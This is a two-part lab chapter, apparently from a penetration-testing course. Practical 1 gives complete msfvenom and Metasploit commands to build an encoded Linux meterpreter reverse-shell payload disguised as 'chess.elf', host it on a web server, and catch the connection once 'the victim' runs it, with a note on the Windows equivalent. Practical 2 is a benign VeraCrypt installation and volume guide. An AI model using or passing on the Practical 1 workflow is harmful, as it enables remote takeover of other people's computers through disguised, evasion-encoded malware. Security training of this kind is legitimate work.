

18. Cryptography

Practical 1: Using encoder in msfvenom

1. Open terminal window and enter a command in following syntax:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your Kali IP>  
LPORT=5555 --platform linux --arch x86 -f elf -e <encoder name> -i  
<iterations> -o /var/www/html/<filename.elf>
```

For example:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.99  
LPORT=5555 --platform linux --arch x86 -f elf -e x86/shikata_ga_nai -i 4 -o  
/var/www/html/chess.elf
```

2. Then to start the apache web server enter command:
service apache2 start

3. Start Metasploit Framework

4. To select the exploit, enter command:
use exploit/multi/handler

5. Set the Payload
set PAYLOAD linux/x86/meterpreter/reverse_tcp

6. Set all required options
show options (To see available options)
set LHOST <Your Kali IP>
set LPORT 5555 (It has to be same like one you used in msfvenom
command)

7. exploit

Once you run the exploit command, you should share the created file with the victim. If the victim downloads and executes the file then you should get a meterpreter access in Kali Linux.

Note: The same process can be done for creating an encoded payload for Windows platform using windows/meterpreter/reverse_tcp as a PAYLOAD.

Practical 2: Using Veracrypt in Kali Linux to encrypt your files

1. Download the installer file of verascrypt.
2. Install the Veracrypt by entering commands in following syntax:

```
chmod +x <filename>
```

```
./<filename>
```

For Example:

```
chmod +x veracrypt-1.16-setup-gui-x86
```

```
./veracrypt-1.16-setup-gui-x86
```

3. Follow the graphical installation on screen instructions.
4. Click on the Veracrypt icon to start.
5. You can create an encrypted file container by clicking on Create a Volume button following on screen instructions.
6. Once your file is created, you can open them by Veracrypt.
7. Click on Mount button.
8. You need to enter your password. It will take some time to decrypt the partition and then you can access your drive and files.

Note: Veracrypt is a cross platform tool and can be installed on Windows or Mac OS as well. You can also move your partitions in other systems and open them with Veracrypt to access the data.